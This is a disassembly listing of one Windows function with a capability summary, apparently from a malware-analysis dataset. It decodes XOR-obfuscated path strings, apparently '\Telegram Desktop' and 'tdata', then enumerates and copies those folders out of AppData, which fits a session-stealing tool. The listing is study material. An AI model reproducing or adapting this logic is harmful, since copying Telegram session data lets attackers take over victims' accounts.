Function at 0x43f890
Capabilities:
Copy file
Create directory
Encode data using xor
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50d222
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x464
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x470]
push 0x104
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x470]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0x4c], 0x868cbcbb
xor ecx, ecx
mov dword [ebp - 0x48], 0x8f9f8b8e
mov dword [ebp - 0x44], 0x97b5d082
mov dword [ebp - 0x40], 0x99819f80
mov word [ebp - 0x3c], 0x87
mov byte [ebp - 0x3a], 1
nop
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 0x11
jb 0x43f910
xor eax, eax
mov byte [ebp - 0x3a], 0
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f940
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00402ea0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x470]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f963
push ebx
sub ecx, edx
lea eax, [ebp - 0x470]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x68]
call fcn.00472090
mov edx, eax
mov ebx, 4
xor eax, eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], eax
mov ecx, dword [edx]
mov dword [ebp - 0xdc], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0xd8], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0xd4], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xd0], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0xcc], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0xc8], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x54]
cmp ecx, 0xf
jbe 0x43fa2c
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43fa22
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4407e9
push ecx
push edx
call fcn.004dfaf3
add esp, 8
cmp dword [ebp - 0xc8], 0xf
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
jbe 0x43fa53
mov ecx, dword [ebp - 0xdc]
call fcn.0040b340
test al, al
je 0x4407b6
mov dword [ebp - 0x86], 0x8b8d9cbb
xor ecx, ecx
mov dword [ebp - 0x82], 0x1008d9f
jmp 0x43fa80
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x86], al
inc ecx
cmp ecx, 6
jb 0x43fa80
mov byte [ebp - 0x7f], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x86]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43faa2
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xcc]
sub eax, edx
cmp eax, ecx
jb 0x4407ee
cmp dword [ebp - 0xc8], 0xf
lea eax, [ebp - 0xdc]
jbe 0x43fad5
mov eax, dword [ebp - 0xdc]
push ecx
lea ecx, [ebp - 0x86]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0xc4]
call fcn.00470ea0
mov ebx, 0xc
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0xb0], 0xf
jbe 0x43fb0b
mov ecx, dword [ebp - 0xc4]
call fcn.0040b340
test al, al
je 0x4407a1
mov byte [ebp - 0xd], 0
xor ecx, ecx
mov dword [ebp - 0x18], 0x1008a95
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 2
jb 0x43fb25
mov byte [ebp - 0x15], 0
xor ecx, ecx
mov dword [ebp - 0xa5], 0x938c83bb
mov dword [ebp - 0xa1], 0x9a8c88b4
mov dword [ebp - 0x9d], 0x100838e
jmp 0x43fb60
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xa5], al
inc ecx
cmp ecx, 0xa
jb 0x43fb60
mov byte [ebp - 0x9a], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xa5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fb85
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xb4]
sub eax, edx
cmp eax, ecx
jb 0x4407f3
cmp dword [ebp - 0xb0], 0xf
lea eax, [ebp - 0xc4]
jbe 0x43fbb8
mov eax, dword [ebp - 0xc4]
push ecx
lea ecx, [ebp - 0xa5]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0x10c]
call fcn.00470ea0
cmp dword [ebp - 0xf8], 0xf
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x14], 0x8c
jbe 0x43fbed
mov eax, dword [ebp - 0x10c]
push esi
push edi
lea ecx, [ebp - 0x18]
push ecx
push eax
call fcn.004e5920
mov ebx, 0x8c
add esp, 8
mov dword [ebp - 0x14], ebx
mov esi, eax
and ebx, 0xffffff7f
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x10c]
call fcn.00402c80
test esi, esi
je 0x43fc2f
push esi
call fcn.004e91a8
add esp, 4
mov byte [ebp - 0xd], 1
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov byte [ebp - 4], 6
xor ecx, ecx
mov dword [ebp - 0x1f], 0xc0c7c2bb
mov word [ebp - 0x1b], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 4
jb 0x43fc57
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x1a], 0
push eax
lea edx, [ebp - 0xc4]
lea ecx, [ebp - 0x16c]
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 7
lea eax, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0xf
jbe 0x43fc9a
mov eax, dword [ebp - 0x16c]
lea ecx, [ebp - 0x36c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x43ff58
cmp byte [ebp - 0x340], 0x2e
je 0x43ff3a
test byte [ebp - 0x36c], 0x10
je 0x43ff3a
mov dword [ebp - 0x18], 0x1008a95
xor ecx, ecx
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 2
jb 0x43fcd6
mov byte [ebp - 0x15], 0
xor ecx, ecx
mov dword [ebp - 0x20], 0x9a8885bb
mov word [ebp - 0x1c], 0x98
mov byte [ebp - 0x1a], 1
jmp 0x43fd00
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 5
jb 0x43fd00
mov byte [ebp - 0x1a], 0
mov word [ebp - 0x72], 0x5c
mov byte [ebp - 0x70], 0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x72]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fd26
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xb4]
sub eax, edx
cmp eax, ecx
jb 0x4407ee
cmp dword [ebp - 0xb0], 0xf
lea eax, [ebp - 0xc4]
jbe 0x43fd59
mov eax, dword [ebp - 0xc4]
push ecx
lea ecx, [ebp - 0x72]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0x13c]
call fcn.00470ea0
or ebx, 0x10
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x340]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fd82
sub ecx, edx
lea eax, [ebp - 0x340]
push ecx
push eax
lea ecx, [ebp - 0x13c]
call fcn.0046b590
mov edx, eax
or ebx, 0x20
xor eax, eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov ecx, dword [edx]
mov dword [ebp - 0x68], ecx
lea ecx, [ebp - 0x154]
mov eax, dword [edx + 4]
mov dword [ebp - 0x64], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x60], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x5c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x58], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x20]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
lea edx, [ebp - 0x68]
push eax
mov dword [ebp - 0x14], ebx
call fcn.0046d100
add esp, 4
mov byte [ebp - 4], 0xa
cmp dword [eax + 0x14], 0xf
jbe 0x43fe0f
mov eax, dword [eax]
lea ecx, [ebp - 0x18]
push ecx
push eax
call fcn.004e5920
add esp, 8
mov esi, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x154]
call fcn.00402c80
and ebx, 0xffffffdf
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x68]
call fcn.00402c80
and ebx, 0xffffffef
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x13c]
call fcn.00402c80
test esi, esi
je 0x43ff3a
push esi
call fcn.004e91a8
add esp, 4
lea ecx, [ebp - 0x340]
xor eax, eax
lea edx, [ecx + 1]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fe82
sub ecx, edx
lea eax, [ebp - 0x340]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00402ea0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x40]
je 0x43fee3
mov eax, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x28]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x24]
mov dword [ecx + 0x14], eax
mov ecx, 0xf
mov dword [ebp - 0x24], ecx
add dword [ebp - 0x44], 0x18
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x38], 0
jmp 0x43fef3
lea eax, [ebp - 0x38]
push eax
push ecx
lea ecx, [ebp - 0x48]
call fcn.00476540
mov ecx, dword [ebp - 0x24]
mov byte [ebp - 4], 7
cmp ecx, 0xf
jbe 0x43ff28
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ff1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4407e9
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
lea eax, [ebp - 0x36c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp eax, 1
je 0x43fcb3
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp byte [ebp - 0xd], 0
jne 0x43ff7b
mov ecx, dword [ebp - 0x44]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x48]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x440784
mov dword [ebp - 0x99], 0x868cbcbb
xor ecx, ecx
mov dword [ebp - 0x95], 0x8f9f8b8e
mov word [ebp - 0x91], 0x82
mov byte [ebp - 0x8f], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x99], al
inc ecx
cmp ecx, 9
jb 0x43ffa1
mov byte [ebp - 0x8f], 0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x99]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ffc6
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x4407f8
cmp dword [ebp + 0x1c], 0xf
lea eax, [ebp + 8]
jbe 0x43ffed
mov eax, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x99]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0x124]
call fcn.00470ea0
or ebx, 0x1000
lea eax, [ebp - 0x124]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x110], 0xf
jbe 0x440024
mov eax, dword [ebp - 0x124]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push eax
call esi
test eax, eax
je 0x44076c
mov dword [ebp - 0x8e], 0x8b8d9cbb
xor ecx, ecx
mov dword [ebp - 0x8a], 0x1008d9f
lea ecx, [ecx]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x8e], al
inc ecx
cmp ecx, 6
jb 0x440050
mov byte [ebp - 0x87], 0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x8e]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440075
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x114]
sub eax, edx
cmp eax, ecx
jb 0x4407fd
cmp dword [ebp - 0x110], 0xf
lea eax, [ebp - 0x124]
jbe 0x4400a8
mov eax, dword [ebp - 0x124]
push ecx
lea ecx, [ebp - 0x8e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0x68]
call fcn.00470ea0
or ebx, 0x4000
lea eax, [ebp - 0x68]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x54], 0xf
jbe 0x4400d3
mov eax, dword [ebp - 0x68]
push 0
push eax
call esi
test eax, eax
je 0x440748
cmp byte [ebp - 0xd], 0
je 0x4401a4
mov dword [ebp - 0x2c], 0x938c83bb
xor ecx, ecx
mov dword [ebp - 0x28], 0x9a8c88b4
mov dword [ebp - 0x24], 0x100838e
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 0xa
jb 0x440101
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x21], 0
push eax
lea edx, [ebp - 0x68]
lea ecx, [ebp - 0x184]
call fcn.0046d070
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0xe
or ebx, 1
mov dword [ebp - 0x14], ebx
cmp dword [esi + 0x14], 0xf
jbe 0x44013c
mov esi, dword [esi]
mov dword [ebp - 0x2c], 0x938c83bb
xor ecx, ecx
mov dword [ebp - 0x28], 0x9a8c88b4
mov dword [ebp - 0x24], 0x100838e
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 0xa
jb 0x440153
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x21], 0
push eax
lea edx, [ebp - 0xc4]
lea ecx, [ebp - 0x154]
call fcn.0046d070
add esp, 4
mov dword [ebp - 4], 0xf
or ebx, 2
mov dword [ebp - 0x14], ebx
cmp dword [eax + 0x14], 0xf
jbe 0x440192
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0xd], 1
test eax, eax
jne 0x4401a8
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0xe
test bl, 2
je 0x4401c5
and ebx, 0xfffffffd
lea ecx, [ebp - 0x154]
mov dword [ebp - 0x14], ebx
call fcn.00402c80
mov dword [ebp - 4], 0xd
test bl, 1
je 0x4401e2
and ebx, 0xfffffffe
lea ecx, [ebp - 0x184]
mov dword [ebp - 0x14], ebx
call fcn.00402c80
mov esi, dword [ebp - 0x48]
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x44]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x440736
mov al, byte [ebp - 0xd]
xor edi, edi
mov byte [ebp - 0xd], al
mov dword [ebp - 0xac], edi
add esi, edi
mov word [ebp - 0x75], 0x5c
mov byte [ebp - 0x73], 0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x75]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440230
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x4407ee
cmp dword [ebp - 0x54], 0xf
lea eax, [ebp - 0x68]
jbe 0x440257
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x75]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0x19c]
call fcn.00470ea0
or ebx, 0x200
lea edx, [ebp - 0x19c]
push esi
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0x14], ebx
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x11
and ebx, 0xfffffdff
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x19c]
call fcn.00402c80
cmp dword [ebp - 0xe0], 0xf
lea ecx, [ebp - 0xf4]
jbe 0x4402bc
mov ecx, dword [ebp - 0xf4]
call fcn.0040b340
test al, al
jne 0x4402e3
cmp dword [ebp - 0xe0], 0xf
lea eax, [ebp - 0xf4]
jbe 0x4402da
mov eax, dword [ebp - 0xf4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x6f], 0x9a8885bb
xor ecx, ecx
mov word [ebp - 0x6b], 0x98
mov byte [ebp - 0x69], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 5
jb 0x4402f6
mov byte [ebp - 0x69], 0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x6f]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440312
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xe4]
sub eax, edx
cmp eax, ecx
jb 0x4407ee
cmp dword [ebp - 0xe0], 0xf
lea eax, [ebp - 0xf4]
jbe 0x440345
mov eax, dword [ebp - 0xf4]
push ecx
lea ecx, [ebp - 0x6f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0x13c]
call fcn.00470ea0
or ebx, 0x400
lea esi, [ebp - 0x13c]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x128], 0xf
jbe 0x440379
mov esi, dword [ebp - 0x13c]
mov dword [ebp - 0x27], 0x9a8885bb
xor ecx, ecx
mov word [ebp - 0x23], 0x98
mov byte [ebp - 0x21], 1
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 5
jb 0x440390
add edi, dword [ebp - 0x48]
mov byte [ebp - 0x21], 0
mov word [ebp - 0x78], 0x5c
mov byte [ebp - 0x76], 0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x78]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4403c0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xb4]
sub eax, edx
cmp eax, ecx
jb 0x4407ee
cmp dword [ebp - 0xb0], 0xf
lea eax, [ebp - 0xc4]
jbe 0x4403f3
mov eax, dword [ebp - 0xc4]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0x1b4]
call fcn.00470ea0
or ebx, 0x800
lea edx, [ebp - 0x1b4]
push edi
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x14], ebx
call fcn.0046d2f0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x27]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1cc]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x14], 0xf
jbe 0x440448
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1cc]
call fcn.00402c80
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1e4]
call fcn.00402c80
and ebx, 0xfffff7ff
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1b4]
call fcn.00402c80
and ebx, 0xfffffbff
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x13c]
call fcn.00402c80
test edi, edi
je 0x4404aa
mov byte [ebp - 0xd], 1
mov esi, dword [ebp - 0xac]
add esi, dword [ebp - 0x48]
mov word [ebp - 0xa8], 0x73
mov byte [ebp - 0xa6], 0
mov word [ebp - 0x7b], 0x5c
mov byte [ebp - 0x79], 0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x7b]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4404d7
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xb4]
sub eax, edx
cmp eax, ecx
jb 0x4407ee
cmp dword [ebp - 0xb0], 0xf
lea eax, [ebp - 0xc4]
jbe 0x44050a
mov eax, dword [ebp - 0xc4]
push ecx
lea ecx, [ebp - 0x7b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0x184]
call fcn.00470ea0
or ebx, 0x100
lea edx, [ebp - 0x184]
push esi
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x14], ebx
call fcn.0046d2f0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xa8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x10c]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1fc]
call fcn.00402c80
and ebx, 0xfffffeff
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x184]
call fcn.00402c80
mov dword [ebp - 0x50], 0x1008a95
xor ecx, ecx
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 2
jb 0x440586
cmp dword [ebp - 0xf8], 0xf
lea eax, [ebp - 0x10c]
mov byte [ebp - 0x4d], 0
jbe 0x4405ad
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x50]
push ecx
push eax
call fcn.004e5920
add esp, 8
test eax, eax
je 0x4406cf
push eax
call fcn.004e91a8
mov esi, dword [ebp - 0xac]
add esp, 4
add esi, dword [ebp - 0x48]
mov word [ebp - 0x17], 0x73
mov byte [ebp - 0x15], 0
mov word [ebp - 0x7e], 0x5c
mov byte [ebp - 0x7c], 0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x7e]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4405f2
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x4407ee
cmp dword [ebp - 0x54], 0xf
lea eax, [ebp - 0x68]
jbe 0x440619
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x7e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1d]
lea ecx, [ebp - 0x154]
call fcn.00470ea0
or ebx, 0x2000
lea edx, [ebp - 0x154]
push esi
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x14], ebx
call fcn.0046d2f0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x17]
push ecx
mov edx, eax
lea ecx, [ebp - 0x214]
call fcn.0046d100
add esp, 8
mov byte [ebp - 4], 0x1e
cmp dword [eax + 0x14], 0xf
jbe 0x44066e
mov eax, dword [eax]
cmp dword [ebp - 0xf8], 0xf
lea ecx, [ebp - 0x10c]
jbe 0x440683
mov ecx, dword [ebp - 0x10c]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x214]
call fcn.00402c80
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x22c]
call fcn.00402c80
and ebx, 0xffffdfff
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x154]
call fcn.00402c80
test esi, esi
je 0x4406cf
mov byte [ebp - 0xd], 1
jmp 0x4406e2
test edi, edi
jne 0x4406e2
push ecx
lea ecx, [ebp - 0xf4]
call fcn.0040b4a0
add esp, 4
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x10c]
call fcn.00402c80
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xf4]
call fcn.00402c80
mov ecx, dword [ebp - 0x44]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x48]
sub ecx, esi
mov edi, dword [ebp - 0xac]
inc dword [ebp - 0x20]
add edi, 0x18
imul ecx
mov ecx, dword [ebp - 0x20]
sar edx, 2
mov eax, edx
mov dword [ebp - 0xac], edi
shr eax, 0x1f
add eax, edx
cmp ecx, eax
jb 0x440214
cmp byte [ebp - 0xd], 0
jne 0x440757
push ecx
lea ecx, [ebp - 0x68]
call fcn.0040b4a0
add esp, 4
push ecx
lea ecx, [ebp - 0x124]
call fcn.0040b4a0
add esp, 4
and ebx, 0xffffbfff
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x68]
call fcn.00402c80
and ebx, 0xffffefff
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x124]
call fcn.00402c80
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x16c]
call fcn.00402c80
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x48]
call fcn.0046ac50
pop edi
pop esi
and ebx, 0xfffffff7
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xc4]
call fcn.00402c80
and ebx, 0xfffffffb
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xdc]
call fcn.00402c80
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00402c80
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.004e4d70
call fcn.004025a0
call fcn.004025a0
call fcn.004025a0
call fcn.004025a0
int3